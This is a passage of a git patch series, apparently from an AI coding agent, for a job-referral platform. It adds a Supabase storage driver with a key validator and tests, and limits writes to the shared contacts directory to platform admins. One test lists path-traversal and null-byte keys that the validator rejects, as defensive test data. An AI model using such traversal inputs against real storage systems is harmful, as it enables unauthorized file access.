(env3.STORAGE_DRIVER === "local" && runtime.serverless) { + return { + options: { driver: "local", localRoot: join(tmpdir(), "atlas-storage") }, + warning: "STORAGE_DRIVER=local on a serverless runtime: uploaded files are kept in ephemeral temp storage and will be lost. Set STORAGE_DRIVER=supabase for durable storage." + }; + } + return { + options: { + driver: env3.STORAGE_DRIVER, + localRoot: env3.STORAGE_LOCAL_ROOT, + s3Bucket: env3.S3_BUCKET, + s3Region: env3.S3_REGION, + s3Endpoint: env3.S3_ENDPOINT + } + }; } // services/profile/src/app.ts @@ -119907,11 +120047,19 @@ var messagingEnvSchema = external_exports.object({ MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) }); var storageEnvSchema = external_exports.object({ - STORAGE_DRIVER: external_exports.enum(["local", "s3"]).default("local"), + STORAGE_DRIVER: external_exports.enum(["local", "s3", "supabase"]).default("local"), STORAGE_LOCAL_ROOT: external_exports.string().min(1).default("./.atlas-storage"), S3_BUCKET: external_exports.string().optional(), S3_REGION: external_exports.string().default("us-east-1"), - S3_ENDPOINT: external_exports.string().optional() + S3_ENDPOINT: external_exports.string().optional(), + /** + * STORAGE_DRIVER=supabase: the PRIVATE bucket to keep files in, and the + * server-side secret key (`sb_secret_…` or legacy `service_role`) used to + * reach it. The key bypasses RLS — set it only on the services that store + * files, as a Vercel environment variable, never in code or the repo. + */ + SUPABASE_STORAGE_BUCKET: external_exports.string().min(1).default("resumes"), + SUPABASE_SECRET_KEY: external_exports.string().min(1).optional() }); var supabaseAuthEnvSchema = external_exports.object({ SUPABASE_URL: external_exports.string().url("SUPABASE_URL must be a valid URL") @@ -120775,7 +120923,7 @@ var __webpack_modules__ = { var defineProperty = Object.defineProperty; var stringSlice = uncurryThis("".slice); var replace = uncurryThis("".replace); - var join = uncurryThis([].join); + var join2 = uncurryThis([].join); var CONFIGURABLE_LENGTH = DESCRIPTORS && !fails(function() { return defineProperty(function() { }, "length", { value: 8 }).length !== 8; @@ -120802,7 +120950,7 @@ var __webpack_modules__ = { } var state = enforceInternalState(value); if (!hasOwn(state, "source")) { - state.source = join(TEMPLATE, typeof name == "string" ? name : ""); + state.source = join2(TEMPLATE, typeof name == "string" ? name : ""); } return value; }; @@ -153009,7 +153157,11 @@ var broker = createBroker({ db, logger }); -var storage = createStorage({ driver: env2.STORAGE_DRIVER, localRoot: env2.STORAGE_LOCAL_ROOT }); +var { options: storageOptions, warning: storageWarning } = storageOptionsFromEnv(env2, { + serverless: Boolean(process.env.VERCEL) +}); +if (storageWarning) logger.warn(storageWarning); +var storage = createStorage(storageOptions); var tokenVerifier = createTokenVerifierConfig(env2); var app = buildApp({ db, sql: sql2, env: env2, logger, broker, storage, tokenVerifier }); var index_default = createVercelHandler(app); diff --git a/api/referrals/index.js b/api/referrals/index.js index 0f4c032..42f36d3 100644 --- a/api/referrals/index.js +++ b/api/referrals/index.js @@ -85835,11 +85835,19 @@ var messagingEnvSchema = external_exports.object({ MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) }); var storageEnvSchema = external_exports.object({ - STORAGE_DRIVER: external_exports.enum(["local", "s3"]).default("local"), + STORAGE_DRIVER: external_exports.enum(["local", "s3", "supabase"]).default("local"), STORAGE_LOCAL_ROOT: external_exports.string().min(1).default("./.atlas-storage"), S3_BUCKET: external_exports.string().optional(), S3_REGION: external_exports.string().default("us-east-1"), - S3_ENDPOINT: external_exports.string().optional() + S3_ENDPOINT: external_exports.string().optional(), + /** + * STORAGE_DRIVER=supabase: the PRIVATE bucket to keep files in, and the + * server-side secret key (`sb_secret_…` or legacy `service_role`) used to + * reach it. The key bypasses RLS — set it only on the services that store + * files, as a Vercel environment variable, never in code or the repo. + */ + SUPABASE_STORAGE_BUCKET: external_exports.string().min(1).default("resumes"), + SUPABASE_SECRET_KEY: external_exports.string().min(1).optional() }); var supabaseAuthEnvSchema = external_exports.object({ SUPABASE_URL: external_exports.string().url("SUPABASE_URL must be a valid URL") diff --git a/packages/config/src/env.ts b/packages/config/src/env.ts index 2946667..11825f8 100644 --- a/packages/config/src/env.ts +++ b/packages/config/src/env.ts @@ -33,11 +33,19 @@ export const messagingEnvSchema = z.object({ }); export const storageEnvSchema = z.object({ - STORAGE_DRIVER: z.enum(['local', 's3']).default('local'), + STORAGE_DRIVER: z.enum(['local', 's3', 'supabase']).default('local'), STORAGE_LOCAL_ROOT: z.string().min(1).default('./.atlas-storage'), S3_BUCKET: z.string().optional(), S3_REGION: z.string().default('us-east-1'), S3_ENDPOINT: z.string().optional(), + /** + * STORAGE_DRIVER=supabase: the PRIVATE bucket to keep files in, and the + * server-side secret key (`sb_secret_…` or legacy `service_role`) used to + * reach it. The key bypasses RLS — set it only on the services that store + * files, as a Vercel environment variable, never in code or the repo. + */ + SUPABASE_STORAGE_BUCKET: z.string().min(1).default('resumes'), + SUPABASE_SECRET_KEY: z.string().min(1).optional(), }); /** diff --git a/packages/storage/src/index.ts b/packages/storage/src/index.ts index fa821ce..5655b10 100644 --- a/packages/storage/src/index.ts +++ b/packages/storage/src/index.ts @@ -1,23 +1,98 @@ +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; import { createLocalDriver } from './local-driver.js'; +import { createSupabaseDriver } from './supabase-driver.js'; import type { StorageDriver } from './driver.js'; export * from './driver.js'; export * from './local-driver.js'; +export * from './supabase-driver.js'; export interface CreateStorageOptions { - driver: 'local' | 's3'; + driver: 'local' | 's3' | 'supabase'; localRoot?: string; s3Bucket?: string; s3Region?: string; s3Endpoint?: string; + supabaseUrl?: string; + supabaseSecretKey?: string; + supabaseBucket?: string; } export function createStorage(options: CreateStorageOptions): StorageDriver { if (options.driver === 'local') { return createLocalDriver({ root: options.localRoot ?? './.atlas-storage' }); } - // Never selected by current config (STORAGE_DRIVER defaults to 'local' everywhere, - // .env.example included) — deferred until something actually exercises S3 storage, - // rather than shipping an untested AWS SDK integration nothing calls yet. - throw new Error("Storage driver 's3' is not implemented yet — set STORAGE_DRIVER=local."); + if (options.driver === 'supabase') { + if (!options.supabaseUrl || !options.supabaseSecretKey || !options.supabaseBucket) { + throw new Error( + "Storage driver 'supabase' needs SUPABASE_URL, SUPABASE_SECRET_KEY and SUPABASE_STORAGE_BUCKET.", + ); + } + return createSupabaseDriver({ + url: options.supabaseUrl, + secretKey: options.supabaseSecretKey, + bucket: options.supabaseBucket, + }); + } + // Never selected by current config — deferred until something actually + // exercises S3 storage, rather than shipping an untested AWS SDK integration. + throw new Error("Storage driver 's3' is not implemented yet — set STORAGE_DRIVER=supabase (or local for development)."); +} + +/** The slice of a service's validated env that picks and configures a storage driver. */ +export interface StorageEnv { + STORAGE_DRIVER: 'local' | 's3' | 'supabase'; + STORAGE_LOCAL_ROOT: string; + S3_BUCKET?: string | undefined; + S3_REGION?: string | undefined; + S3_ENDPOINT?: string | undefined; + SUPABASE_URL?: string | undefined; + SUPABASE_SECRET_KEY?: string | undefined; + SUPABASE_STORAGE_BUCKET?: string | undefined; +} + +export interface StorageOptionsResult { + options: CreateStorageOptions; + /** Set when the chosen configuration cannot keep files, so the caller can log it. */ + warning?: string; +} + +/** + * Maps env to `createStorage` options. On a serverless runtime (`VERCEL`) + * the project directory is read-only, so a `local` driver pointed there would + * make every upload fail: it is redirected to the writable (but ephemeral) + * temp dir, and a warning says so. That keeps parsing and the rest of the API + * working until a durable driver is configured; it is not durable storage. + */ +export function storageOptionsFromEnv( + env: StorageEnv, + runtime: { serverless?: boolean } = {}, +): StorageOptionsResult { + if (env.STORAGE_DRIVER === 'supabase') { + return { + options: { + driver: 'supabase', + supabaseUrl: env.SUPABASE_URL, + supabaseSecretKey: env.SUPABASE_SECRET_KEY, + supabaseBucket: env.SUPABASE_STORAGE_BUCKET, + }, + }; + } + if (env.STORAGE_DRIVER === 'local' && runtime.serverless) { + return { + options: { driver: 'local', localRoot: join(tmpdir(), 'atlas-storage') }, + warning: + 'STORAGE_DRIVER=local on a serverless runtime: uploaded files are kept in ephemeral temp storage and will be lost. Set STORAGE_DRIVER=supabase for durable storage.', + }; + } + return { + options: { + driver: env.STORAGE_DRIVER, + localRoot: env.STORAGE_LOCAL_ROOT, + s3Bucket: env.S3_BUCKET, + s3Region: env.S3_REGION, + s3Endpoint: env.S3_ENDPOINT, + }, + }; } diff --git a/packages/storage/src/supabase-driver.ts b/packages/storage/src/supabase-driver.ts new file mode 100644 index 0000000..514469c --- /dev/null +++ b/packages/storage/src/supabase-driver.ts @@ -0,0 +1,146 @@ +import { AppError } from '@atlas/utils'; +import type { PutOptions, PutResult, StorageDriver } from './driver.js'; + +export interface SupabaseDriverOptions { + /** Project URL, e.g. `https://.supabase.co` (no trailing path). */ + url: string; + /** + * Server-side secret: the `sb_secret_…` key, or the legacy `service_role` + * JWT. It bypasses Row Level Security, so it must only ever live in a + * backend service's environment — never in client code, logs or errors. + */ + secretKey: string; + /** An existing, PRIVATE bucket. */ + bucket: string; + /** Per-request timeout. Defaults to 20 s, well inside a 30 s serverless budget. */ + timeoutMs?: number; + /** Injection point for tests; defaults to the global `fetch`. */ + fetch?: typeof fetch; +} + +const DEFAULT_TIMEOUT_MS = 20_000; +/** Enough of a Storage error body to be useful in logs without echoing an arbitrarily large response. */ +const MAX_ERROR_BODY_CHARS = 300; + +/** + * Splits a key into path segments and rejects anything that is not a plain, + * relative object path. Storage treats `..` literally rather than resolving + * it, but a key that looks like traversal is always a bug (or an attack) on + * our side, and the local driver rejects the same inputs. + */ +function toObjectPath(key: string): string { + if (!key || key.includes('\0') || key.includes('\\') || key.startsWith('/') || key.endsWith('/')) { + throw new AppError('VALIDATION_ERROR', `Invalid storage key: "${key}"`); + } + const segments = key.split('/'); + if (segments.some((segment) => segment === '' || segment === '.' || segment === '..')) { + throw new AppError('VALIDATION_ERROR', `Invalid storage key: "${key}"`); + } + return segments.map(encodeURIComponent).join('/'); +} + +async function describeFailure(response: Response): Promise { + let body = ''; + try { + body = (await response.text()).slice(0, MAX_ERROR_BODY_CHARS); + } catch { + // The status alone is still informative. + } + return body ? `${response.status} ${body}` : String(response.status); +} + +/** + * Storage over Supabase Storage's REST API, via `fetch` so the serverless + * bundle carries no SDK. Endpoints match `@supabase/storage-js`: + * POST /storage/v1/object/{bucket}/{key} (x-upsert: true) + * GET /storage/v1/object/{bucket}/{key} (private bucket: needs the key) + * HEAD /storage/v1/object/{bucket}/{key} + * DELETE /storage/v1/object/{bucket} ({ prefixes: [key] }) + * + * Uploads are keyed by content hash upstream, so upserting is idempotent. + */ +export function createSupabaseDriver(options: SupabaseDriverOptions): StorageDriver { + const base = `${options.url.replace(/\/+$/, '')}/storage/v1/object`; + const bucket = encodeURIComponent(options.bucket); + const doFetch = options.fetch ?? fetch; + const timeoutMs = options.timeoutMs ?? DEFAULT_TIMEOUT_MS; + const authHeaders = { authorization: `Bearer ${options.secretKey}`, apikey: options.secretKey }; + + async function request(url: string, init: RequestInit): Promise { + try { + return await doFetch(url, { ...init, signal: AbortSignal.timeout(timeoutMs) }); + } catch (cause) { + // Network failure or timeout. The message deliberately omits the URL and headers. + throw new AppError('UPSTREAM_UNAVAILABLE', 'File storage is temporarily unavailable', { cause }); + } + } + + /** Storage answers a missing object with 404, or 400 + `not_found` depending on the version. */ + async function isMissing(response: Response): Promise { + if (response.status === 404) return true; + if (response.status !== 400) return false; + const body = await response.clone().text().catch(() => ''); + return /not[_ ]found/i.test(body); + } + + return { + async put(key: string, data: Buffer, putOptions?: PutOptions): Promise { + const path = toObjectPath(key); + const response = await request(`${base}/${bucket}/${path}`, { + method: 'POST', + headers: { + ...authHeaders, + 'content-type': putOptions?.contentType ?? 'application/octet-stream', + 'x-upsert': 'true', + }, + body: new Uint8Array(data), + }); + if (!response.ok) { + throw new AppError('UPSTREAM_UNAVAILABLE', 'File storage rejected the upload', { + cause: new Error(`Supabase Storage upload failed: ${await describeFailure(response)}`), + }); + } + return { key, byteSize: data.length }; + }, + + async get(key: string): Promise { + const path = toObjectPath(key); + const response = await request(`${base}/${bucket}/${path}`, { method: 'GET', headers: authHeaders }); + if (await isMissing(response)) { + throw new AppError('NOT_FOUND', `No stored object for key "${key}"`); + } + if (!response.ok) { + throw new AppError('UPSTREAM_UNAVAILABLE', 'File storage could not read the file', { + cause: new Error(`Supabase Storage GET failed: ${await describeFailure(response)}`), + }); + } + return Buffer.from(await response.arrayBuffer()); + }, + + async delete(key: string): Promise { + toObjectPath(key); // same validation as every other operation + const response = await request(`${base}/${bucket}`, { + method: 'DELETE', + headers: { ...authHeaders, 'content-type': 'application/json' }, + body: JSON.stringify({ prefixes: [key] }), + }); + // Deleting something that is already gone is a no-op, as in the local driver. + if (!response.ok && !(await isMissing(response))) { + throw new AppError('UPSTREAM_UNAVAILABLE', 'File storage could not delete the file', { + cause: new Error(`Supabase Storage DELETE failed: ${await describeFailure(response)}`), + }); + } + }, + + async exists(key: string): Promise { + const path = toObjectPath(key); + const response = await request(`${base}/${bucket}/${path}`, { method: 'HEAD', headers: authHeaders }); + if (response.ok) return true; + // HEAD responses carry no body, so 400 and 404 both mean "not there" (as storage-js treats them). + if (response.status === 404 || response.status === 400) return false; + throw new AppError('UPSTREAM_UNAVAILABLE', 'File storage could not check the file', { + cause: new Error(`Supabase Storage HEAD failed: ${response.status}`), + }); + }, + }; +} diff --git a/packages/storage/test/supabase-driver.test.ts b/packages/storage/test/supabase-driver.test.ts new file mode 100644 index 0000000..9cbe267 --- /dev/null +++ b/packages/storage/test/supabase-driver.test.ts @@ -0,0 +1,190 @@ +import { describe, expect, it, vi } from 'vitest'; +import { AppError } from '@atlas/utils'; +import { createStorage, storageOptionsFromEnv, type StorageEnv } from '../src/index.js'; +import { createSupabaseDriver } from '../src/supabase-driver.js'; + +const URL_BASE = 'https://proj.supabase.co'; +const SECRET = 'sb_secret_do_not_leak'; + +interface Call { + url: string; + init: RequestInit; +} + +function harness(respond: (call: Call) => Response | Promise) { + const calls: Call[] = []; + const fetchMock = vi.fn(async (url: string | URL | Request, init?: RequestInit) => { + const call = { url: String(url), init: init ?? {} }; + calls.push(call); + return respond(call); + }); + const driver = createSupabaseDriver({ + url: `${URL_BASE}/`, + secretKey: SECRET, + bucket: 'resumes', + fetch: fetchMock as unknown as typeof fetch, + }); + return { driver, calls }; +} + +const header = (call: Call, name: string): string | undefined => + (call.init.headers as Record | undefined)?.[name]; + +describe('supabase storage driver', () => { + it('uploads with POST, upsert and the content type, authenticating with the secret key', async () => { + const { driver, calls } = harness(() => new Response('{"Key":"resumes/x"}', { status: 200 })); + const data = Buffer.from('%PDF-1.7 resume'); + await expect(driver.put('resumes/user-1/abc', data, { contentType: 'application/pdf' })).resolves.toEqual({ + key: 'resumes/user-1/abc', + byteSize: data.length, + }); + + const [call] = calls; + expect(call?.url).toBe(`${URL_BASE}/storage/v1/object/resumes/resumes/user-1/abc`); + expect(call?.init.method).toBe('POST'); + expect(header(call as Call, 'x-upsert')).toBe('true'); + expect(header(call as Call, 'content-type')).toBe('application/pdf'); + expect(header(call as Call, 'authorization')).toBe(`Bearer ${SECRET}`); + expect(header(call as Call, 'apikey')).toBe(SECRET); + expect(Buffer.from(call?.init.body as Uint8Array).equals(data)).toBe(true); + }); + + it('defaults the content type and percent-encodes each path segment', async () => { + const { driver, calls } = harness(() => new Response('{}', { status: 200 })); + await driver.put('a b/ü?#.txt', Buffer.from('x')); + expect(calls[0]?.url).toBe(`${URL_BASE}/storage/v1/object/resumes/a%20b/%C3%BC%3F%23.txt`); + expect(header(calls[0] as Call, 'content-type')).toBe('application/octet-stream'); + }); + + it('downloads the bytes with GET', async () => { + const { driver, calls } = harness(() => new Response(new Uint8Array([1, 2, 3]), { status: 200 })); + await expect(driver.get('k')).resolves.toEqual(Buffer.from([1, 2, 3])); + expect(calls[0]?.init.method).toBe('GET'); + expect(header(calls[0] as Call, 'authorization')).toBe(`Bearer ${SECRET}`); + }); + + it.each([ + ['404', new Response('{"error":"not_found"}', { status: 404 })], + ['400 not_found', new Response('{"statusCode":"404","error":"not_found","message":"Object not found"}', { status: 400 })], + ])('maps a missing object (%s) to NOT_FOUND on get', async (_label, response) => { + const { driver } = harness(() => response.clone()); + await expect(driver.get('missing')).rejects.toMatchObject({ code: 'NOT_FOUND' }); + }); + + it('does not mistake other failures for a missing object', async () => { + const { driver } = harness(() => new Response('boom', { status: 500 })); + await expect(driver.get('k')).rejects.toMatchObject({ code: 'UPSTREAM_UNAVAILABLE' }); + }); + + it('deletes through the bucket endpoint with a prefixes body, and treats an already-missing object as done', async () => { + const ok = harness(() => new Response('[]', { status: 200 })); + await expect(ok.driver.delete('a/b')).resolves.toBeUndefined(); + expect(ok.calls[0]?.url).toBe(`${URL_BASE}/storage/v1/object/resumes`); + expect(ok.calls[0]?.init.method).toBe('DELETE'); + expect(JSON.parse(ok.calls[0]?.init.body as string)).toEqual({ prefixes: ['a/b'] }); + + const gone = harness(() => new Response('{"error":"not_found"}', { status: 404 })); + await expect(gone.driver.delete('a/b')).resolves.toBeUndefined(); + + const broken = harness(() => new Response('nope', { status: 500 })); + await expect(broken.driver.delete('a/b')).rejects.toMatchObject({ code: 'UPSTREAM_UNAVAILABLE' }); + }); + + it('checks existence with HEAD: 200 is true, 400/404 are false, anything else throws', async () => { + await expect(harness(() => new Response(null, { status: 200 })).driver.exists('k')).resolves.toBe(true); + await expect(harness(() => new Response(null, { status: 404 })).driver.exists('k')).resolves.toBe(false); + await expect(harness(() => new Response(null, { status: 400 })).driver.exists('k')).resolves.toBe(false); + await expect(harness(() => new Response(null, { status: 503 })).driver.exists('k')).rejects.toMatchObject({ + code: 'UPSTREAM_UNAVAILABLE', + }); + const head = harness(() => new Response(null, { status: 200 })); + await head.driver.exists('k'); + expect(head.calls[0]?.init.method).toBe('HEAD'); + }); + + it.each(['', '/abs', 'trailing/', 'a//b', '../escape', 'a/../b', 'a/./b', 'a\\b', 'nul\0byte'])( + 'rejects the unsafe key %j before making any request', + async (key) => { + const { driver, calls } = harness(() => new Response('{}', { status: 200 })); + await expect(driver.put(key, Buffer.from('x'))).rejects.toMatchObject({ code: 'VALIDATION_ERROR' }); + await expect(driver.get(key)).rejects.toMatchObject({ code: 'VALIDATION_ERROR' }); + await expect(driver.delete(key)).rejects.toMatchObject({ code: 'VALIDATION_ERROR' }); + await expect(driver.exists(key)).rejects.toMatchObject({ code: 'VALIDATION_ERROR' }); + expect(calls).toHaveLength(0); + }, + ); + + it('reports a network failure as UPSTREAM_UNAVAILABLE without leaking the secret or URL', async () => { + const { driver } = harness(() => { + throw new TypeError(`fetch failed for ${URL_BASE} with ${SECRET}`); + }); + const error = await driver.put('k', Buffer.from('x')).catch((cause: unknown) => cause); + expect(error).toBeInstanceOf(AppError); + expect((error as AppError).code).toBe('UPSTREAM_UNAVAILABLE'); + expect((error as AppError).message).not.toContain(SECRET); + expect((error as AppError).message).not.toContain(URL_BASE); + }); + + it('keeps the upstream error body out of the public message', async () => { + const { driver } = harness(() => new Response(`bucket policy says ${SECRET}`, { status: 403 })); + const error = (await driver.put('k', Buffer.from('x')).catch((cause: unknown) => cause)) as AppError; + expect(error.code).toBe('UPSTREAM_UNAVAILABLE'); + expect(error.message).not.toContain('bucket policy'); + }); + + it('gives up on a hung request instead of waiting for the platform to kill the function', async () => { + const driver = createSupabaseDriver({ + url: URL_BASE, + secretKey: SECRET, + bucket: 'resumes', + timeoutMs: 20, + fetch: ((_url: string, init: RequestInit) => + new Promise((_resolve, reject) => { + init.signal?.addEventListener('abort', () => reject(init.signal?.reason)); + })) as unknown as typeof fetch, + }); + await expect(driver.get('k')).rejects.toMatchObject({ code: 'UPSTREAM_UNAVAILABLE' }); + }); +}); + +describe('createStorage / storageOptionsFromEnv', () => { + const base: StorageEnv = { STORAGE_DRIVER: 'local', STORAGE_LOCAL_ROOT: './.atlas-storage' }; + + it('builds the supabase driver only when fully configured', () => { + expect(() => createStorage({ driver: 'supabase', supabaseUrl: URL_BASE })).toThrow(/SUPABASE_SECRET_KEY/); + expect(() => + createStorage({ driver: 'supabase', supabaseUrl: URL_BASE, supabaseSecretKey: SECRET, supabaseBucket: 'resumes' }), + ).not.toThrow(); + }); + + it('passes the supabase settings through', () => { + const { options, warning } = storageOptionsFromEnv({ + ...base, + STORAGE_DRIVER: 'supabase', + SUPABASE_URL: URL_BASE, + SUPABASE_SECRET_KEY: SECRET, + SUPABASE_STORAGE_BUCKET: 'resumes', + }); + expect(options).toEqual({ + driver: 'supabase', + supabaseUrl: URL_BASE, + supabaseSecretKey: SECRET, + supabaseBucket: 'resumes', + }); + expect(warning).toBeUndefined(); + }); + + it('keeps the configured local root outside serverless', () => { + const { options, warning } = storageOptionsFromEnv(base); + expect(options).toMatchObject({ driver: 'local', localRoot: './.atlas-storage' }); + expect(warning).toBeUndefined(); + }); + + it('moves a local driver to writable temp storage on serverless, and says it is ephemeral', () => { + const { options, warning } = storageOptionsFromEnv(base, { serverless: true }); + expect(options.driver).toBe('local'); + expect(options.localRoot).not.toBe('./.atlas-storage'); + expect(options.localRoot).toMatch(/atlas-storage$/); + expect(warning).toMatch(/ephemeral/); + }); +}); diff --git a/services/profile/src/index.ts b/services/profile/src/index.ts index 810c6ee..636f0f2 100644 --- a/services/profile/src/index.ts +++ b/services/profile/src/index.ts @@ -1,7 +1,7 @@ import { createTokenVerifierConfig } from '@atlas/auth-kit'; import { createDatabase } from '@atlas/db'; import { createBroker } from '@atlas/messaging'; -import { createStorage } from '@atlas/storage'; +import { createStorage, storageOptionsFromEnv } from '@atlas/storage'; import { createLogger, createVercelHandler, withServerlessEnvDefaults } from '@atlas/utils'; import { buildApp } from './app.js'; import { loadProfileServiceEnv } from './env.js'; @@ -17,7 +17,11 @@ const broker = createBroker({ db, logger, }); -const storage = createStorage({ driver: env.STORAGE_DRIVER, localRoot: env.STORAGE_LOCAL_ROOT }); +const { options: storageOptions, warning: storageWarning } = storageOptionsFromEnv(env, { + serverless: Boolean(process.env.VERCEL), +}); +if (storageWarning) logger.warn(storageWarning); +const storage = createStorage(storageOptions); const tokenVerifier = createTokenVerifierConfig(env); export const app = buildApp({ db, sql, env, logger, broker, storage, tokenVerifier }); From ae2910e97e9f4f487f1e131f977dced07a3c91f2 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:23:07 +0000 Subject: [PATCH 47/91] fix(referrals): only platform admins may write to the shared contacts directory POST /v1/contacts let any signed-in user insert rows into a table shared by every user, holding third parties' names and emails that outreach targets. Writes now require the platform-admin allowlist (same as job ingest); reads are unchanged. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- .env.example | 5 +-- api/referrals/index.js | 33 +++++++++++++++++-- services/referrals/src/env.ts | 6 ++++ .../src/http/routes/create-contact.ts | 16 +++++++-- .../referrals/test/referrals-flow.test.ts | 24 +++++++++++++- 5 files changed, 75 insertions(+), 9 deletions(-) diff --git a/.env.example b/.env.example index 279773d..ab41a80 100644 --- a/.env.example +++ b/.env.example @@ -60,10 +60,11 @@ SUPABASE_ACCESS_TOKEN= # Each app's authorized redirect URI is https://.supabase.co/auth/v1/callback. # Platform administrators: comma-separated auth.users ids allowed to touch GLOBAL -# data (jobs-service POST /v1/jobs/ingest, learning-service GET /v1/learning/metrics). +# data (jobs-service POST /v1/jobs/ingest, referrals-service POST /v1/contacts, +# learning-service GET /v1/learning/metrics). # Deliberately separate from org admin/owner roles, which only carry authority # inside one organization. Empty or unset = nobody (fail closed). Read by -# jobs-service and learning-service only. +# jobs-service, referrals-service and learning-service only. PLATFORM_ADMIN_USER_IDS= # --- Service ports ---------------------------------------------------------- diff --git a/api/referrals/index.js b/api/referrals/index.js index 42f36d3..7d48480 100644 --- a/api/referrals/index.js +++ b/api/referrals/index.js @@ -75245,6 +75245,22 @@ function getActor(request) { return request.actor; } +// packages/auth-kit/src/platform-admin.ts +function parsePlatformAdminIds(raw) { + if (!raw) return /* @__PURE__ */ new Set(); + return new Set( + raw.split(",").map((id) => id.trim().toLowerCase()).filter((id) => id.length > 0) + ); +} +function isPlatformAdmin(actor, allowlist) { + return parsePlatformAdminIds(allowlist).has(actor.user_id.toLowerCase()); +} +function requirePlatformAdmin(actor, allowlist, message2 = "Only platform administrators can perform this action") { + if (!isPlatformAdmin(actor, allowlist)) { + throw new AppError("FORBIDDEN", message2); + } +} + // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/index.js import os from "os"; import fs from "fs"; @@ -86112,8 +86128,13 @@ function scoreContactRelevance(title) { // services/referrals/src/http/routes/create-contact.ts var UNIQUE_VIOLATION = "23505"; function createContactRoute(app2, deps) { - app2.post("/v1/contacts", { preHandler: requireAuth(deps.tokenVerifier) }, async (_request, reply) => { - const body = createContactRequestSchema.parse(_request.body); + app2.post("/v1/contacts", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { + requirePlatformAdmin( + getActor(request), + deps.env.PLATFORM_ADMIN_USER_IDS, + "Only platform administrators can add contacts" + ); + const body = createContactRequestSchema.parse(request.body); const company = await findCompanyById(deps.db, body.company_id); if (!company) { throw new AppError("NOT_FOUND", "Company not found"); @@ -86355,7 +86376,13 @@ var referralsServiceEnvSchema = external_exports.object({ * `Authorization: Bearer $CRON_SECRET` when this variable is set. Unset, the * route answers 503 and never runs a drain. */ - CRON_SECRET: external_exports.string().min(16, "CRON_SECRET must be at least 16 characters").optional() + CRON_SECRET: external_exports.string().min(16, "CRON_SECRET must be at least 16 characters").optional(), + /** + * Comma-separated `auth.users` ids allowed to write to the shared contacts + * directory (see `requirePlatformAdmin` in @atlas/auth-kit). Empty/unset + * means nobody. + */ + PLATFORM_ADMIN_USER_IDS: external_exports.string().default("") }); function loadReferralsServiceEnv(source = process.env) { const normalized = { ...source, PORT: source.PORT ?? source.REFERRALS_SERVICE_PORT }; diff --git a/services/referrals/src/env.ts b/services/referrals/src/env.ts index 71d9598..6747377 100644 --- a/services/referrals/src/env.ts +++ b/services/referrals/src/env.ts @@ -13,6 +13,12 @@ export const referralsServiceEnvSchema = z.object({ * route answers 503 and never runs a drain. */ CRON_SECRET: z.string().min(16, 'CRON_SECRET must be at least 16 characters').optional(), + /** + * Comma-separated `auth.users` ids allowed to write to the shared contacts + * directory (see `requirePlatformAdmin` in @atlas/auth-kit). Empty/unset + * means nobody. + */ + PLATFORM_ADMIN_USER_IDS: z.string().default(''), }); export type ReferralsServiceEnv = z.infer; diff --git a/services/referrals/src/http/routes/create-contact.ts b/services/referrals/src/http/routes/create-contact.ts index b87c35f..fa7fbe3 100644 --- a/services/referrals/src/http/routes/create-contact.ts +++ b/services/referrals/src/http/routes/create-contact.ts @@ -1,5 +1,5 @@ import type { FastifyInstance } from 'fastify'; -import { requireAuth } from '@atlas/auth-kit'; +import { getActor, requireAuth, requirePlatformAdmin } from '@atlas/auth-kit'; import { createContactRequestSchema, type ContactResponse } from '@atlas/types'; import { AppError, pgErrorCode } from '@atlas/utils'; import type { AppDeps } from '../../app.js'; @@ -11,8 +11,18 @@ import { scoreContactRelevance } from '../../lib/relevance.js'; const UNIQUE_VIOLATION = '23505'; export function createContactRoute(app: FastifyInstance, deps: AppDeps): void { - app.post('/v1/contacts', { preHandler: requireAuth(deps.tokenVerifier) }, async (_request, reply) => { - const body = createContactRequestSchema.parse(_request.body); + app.post('/v1/contacts', { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { + // The contacts directory is one table shared by every user, and its rows + // are third parties' names and emails that outreach later targets. Letting + // any signed-in user write to it would let anyone seed the directory with + // arbitrary addresses for other users to be pointed at, so writes are a + // platform-level action (same allowlist as job ingestion). + requirePlatformAdmin( + getActor(request), + deps.env.PLATFORM_ADMIN_USER_IDS, + 'Only platform administrators can add contacts', + ); + const body = createContactRequestSchema.parse(request.body); const company = await findCompanyById(deps.db, body.company_id); if (!company) { diff --git a/services/referrals/test/referrals-flow.test.ts b/services/referrals/test/referrals-flow.test.ts index e6f0232..1700df0 100644 --- a/services/referrals/test/referrals-flow.test.ts +++ b/services/referrals/test/referrals-flow.test.ts @@ -56,7 +56,13 @@ describe.skipIf(!testDatabaseUrl)('referrals-service HTTP flow', () => { beforeAll(async () => { await stubJwks(); - const env = loadReferralsServiceEnv({ DATABASE_URL: testDatabaseUrl, PORT: '4006', SUPABASE_URL }); + // Contact writes are limited to the platform-admin allowlist; this suite's user is on it. + const env = loadReferralsServiceEnv({ + DATABASE_URL: testDatabaseUrl, + PORT: '4006', + SUPABASE_URL, + PLATFORM_ADMIN_USER_IDS: userId, + }); dbHandle = createDatabase({ url: env.DATABASE_URL }); broker = createBroker({ driver: 'memory', logger: createSilentLogger() }) as MemoryBroker; app = buildApp({ @@ -126,6 +132,22 @@ describe.skipIf(!testDatabaseUrl)('referrals-service HTTP flow', () => { expect(res.json().contact.relevance_score).toBe(0.9); }); + it('refuses contact writes from anyone not on the platform-admin allowlist, and writes nothing', async () => { + const outsider = randomUUID(); + const outsiderToken = await signTestToken({ sub: outsider, sid: randomUUID(), org: null, role: 'owner', email: `outsider-${outsider}@example.com` }); + const probeEmail = `planted-${randomUUID()}@example.com`; + const res = await app.inject({ + method: 'POST', + url: '/v1/contacts', + headers: { authorization: `Bearer ${outsiderToken}` }, + payload: { company_id: companyId, full_name: 'Planted Contact', title: 'Recruiter', email: probeEmail }, + }); + // An org owner role is not platform trust either: anyone can create an organization. + expect(res.statusCode).toBe(403); + const rows = await dbHandle.sql`select 1 from contacts where email = ${probeEmail}`; + expect(rows).toHaveLength(0); + }); + it('re-adding the same company+email is idempotent', async () => { const email2 = `dup-${randomUUID()}@example.com`; const first = await app.inject({ From 809e492dd3ba87d3c593df9c5f7bb9877452cf3b Mon Sep 17 00:00:00 